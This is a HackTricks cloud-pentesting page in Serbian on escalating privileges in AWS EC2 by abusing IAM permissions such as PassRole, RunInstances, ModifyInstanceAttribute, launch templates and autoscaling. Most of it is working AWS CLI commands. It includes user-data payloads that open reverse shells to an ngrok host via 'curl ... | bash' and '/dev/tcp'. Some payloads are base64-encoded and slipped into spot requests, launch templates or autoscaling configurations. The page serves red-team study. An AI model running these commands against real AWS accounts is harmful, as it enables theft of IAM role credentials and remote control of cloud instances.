AWS - EC2 Privesc

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

EC2

Za više informacija o EC2 proverite:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

iam:PassRole, ec2:RunInstances

Napadač bi mogao kreirati instancu koja pridružuje IAM ulogu, a zatim pristupiti instanci da bi ukrao IAM kredencijale uloge sa metadata endpointa.

  • Pristup putem SSH-a

Pokrenite novu instancu koristeći kreirani ssh ključ (--key-name) a zatim se povežite putem ssh-a (ako želite da kreirate novi, možda će vam biti potrebna dozvola ec2:CreateKeyPair).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Pristup putem reverznog školjka u korisničkim podacima

Možete pokrenuti novu instancu koristeći korisničke podatke (--user-data) koji će vam poslati reverzni školjka. Na ovaj način nije potrebno specificirati sigurnosnu grupu.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Budite oprezni sa GuradDuty ako koristite akreditive IAM uloge van instance-a:

AWS - GuardDuty Enum

Potencijalni uticaj: Direktno povećanje privilegija do bilo koje EC2 uloge povezane sa postojećim profilima instance.

Povećanje privilegija do ECS

Sa ovim setom dozvola možete takođe kreirati EC2 instancu i registrovati je unutar ECS klastera. Na taj način, ECS servisi će se izvršavati unutar EC2 instance gde imate pristup, a zatim možete provaliti u te servise (docker kontejnere) i ukrasti njihove povezane ECS uloge.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Da biste saznali kako prisiliti ECS usluge da se pokrenu na ovom novom EC2 instanci, pogledajte:

AWS - ECS Privesc

Ako ne možete kreirati novu instancu, ali imate dozvolu ecs:RegisterContainerInstance, možda ćete moći registrovati instancu unutar klastera i izvršiti komentiran napad.

Potencijalni uticaj: Direktno povećanje privilegija na ECS ulogama povezanim sa zadacima.

iam:PassRole, iam:AddRoleToInstanceProfile

Slično kao i u prethodnom scenariju, napadač sa ovim dozvolama može promeniti IAM ulogu kompromitovane instance kako bi ukrao nove akreditive. Pošto profil instance može imati samo jednu ulogu, ako profil instance već ima ulogu (uobičajeni slučaj), takođe će vam biti potrebno iam:RemoveRoleFromInstanceProfile.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

Ako profil instance ima ulogu i napadač je ne može ukloniti, postoji još jedan način. On može pronaći profil instance bez uloge ili kreirati novi (iam:CreateInstanceProfile), dodati ulogu tom profilu instance (kao što je ranije opisano) i povezati profil instance koji je kompromitovan sa kompromitovanom instancijom:

  • Ako instanca nema nijedan profil instance (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potencijalni uticaj: Direktno povećanje privilegija na drugu EC2 ulogu (potrebno je da ste kompromitovali AWS EC2 instancu i imate dodatne dozvole ili specifičan status instance profila).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Sa ovim dozvolama je moguće promeniti profil instance koji je povezan sa instancom, tako da ako je napad već imao pristup instanci, moći će da ukrade akreditive za više uloga profila instance menjajući onu koja je povezana sa njom.

  • Ako ima profil instance, možete ga ukloniti (ec2:DisassociateIamInstanceProfile) i povezati ga *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • ili zamenite profil instance kompromitovane instance (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<vrednost> --association-id <vrednost>
```

Potencijalni uticaj: Direktno povećanje privilegija na drugu EC2 ulogu (morate da kompromitujete AWS EC2 instancu i imate dodatne dozvole ili određeni status instance profila).

ec2:RequestSpotInstances,iam:PassRole

Napadač sa dozvolama ec2:RequestSpotInstances i iam:PassRole može zahtevati instancu Spot sa povezanom EC2 ulogom i rev shell-om u korisničkim podacima. Kada se instanca pokrene, može ukrasti IAM ulogu.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

Napadač sa ec2:ModifyInstanceAttribute može da menja atribute instanci. Među njima, može promeniti korisničke podatke, što implicira da može da pokrene proizvoljne podatke na instanci. To se može iskoristiti za dobijanje rev šela na EC2 instanci.

Napomena da se atributi mogu menjati samo dok je instanca zaustavljena, pa su potrebne dozvole ec2:StopInstances i ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potencijalni uticaj: Direktno povećanje privilegija na bilo koju EC2 IAM ulogu koja je pridružena kreiranoj instanci.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

Napadač sa dozvolama ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplatei ec2:ModifyLaunchTemplate može kreirati novu verziju Launch Template-a sa rev shell-om u podacima korisnika i bilo kojom EC2 IAM ulogom na njoj, promeniti podrazumevanu verziju, i bilo koja grupa automatskog skaliranja koja koristi taj Launch Template koji je konfigurisan da koristi najnoviju ili podrazumevanu verziju će ponovo pokrenuti instance koristeći taj template i izvršiti rev shell.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potencijalni uticaj: Direktno povećanje privilegija na drugu EC2 ulogu.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

Napadač sa dozvolama autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole može kreirati konfiguraciju pokretanja sa IAM ulogom i rev shell-om unutar korisničkih podataka, zatim kreirati grupu automatskog skaliranja iz te konfiguracije i sačekati da rev shell ukrade IAM ulogu.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potencijalni uticaj: Direktno povećanje privilegija na drugu EC2 ulogu.

!autoscaling

Skup dozvola ec2:CreateLaunchTemplate i autoscaling:CreateAutoScalingGroup nije dovoljan za povećanje privilegija na IAM ulogu jer da biste pridružili ulogu navedenu u konfiguraciji pokretanja ili u predlošku pokretanja potrebne su vam dozvole iam:PassRole i ec2:RunInstances (što je poznato povećanje privilegija).

ec2-instance-connect:SendSSHPublicKey

Napadač sa dozvolom ec2-instance-connect:SendSSHPublicKey može dodati SSH ključ korisniku i koristiti ga za pristup (ako ima SSH pristup instanci) ili za povećanje privilegija.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potencijalni uticaj: Direktno povećanje privilegija na EC2 IAM ulogama koje su pridružene pokrenutim instancama.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

Napadač sa dozvolom ec2-instance-connect:SendSerialConsoleSSHPublicKey može dodati SSH ključ na serijsku vezu. Ako serijska veza nije omogućena, napadaču je potrebna dozvola ec2:EnableSerialConsoleAccess da je omogući.

Da biste se povezali na serijski port, takođe morate znati korisničko ime i lozinku korisnika unutar mašine.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Ovaj način nije toliko koristan za privesc jer je potrebno znati korisničko ime i lozinku da bi se iskoristio.

Potencijalni uticaj: (Visoko nepotvrđeno) Direktan privesc na EC2 IAM uloge povezane sa pokrenutim instancama.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated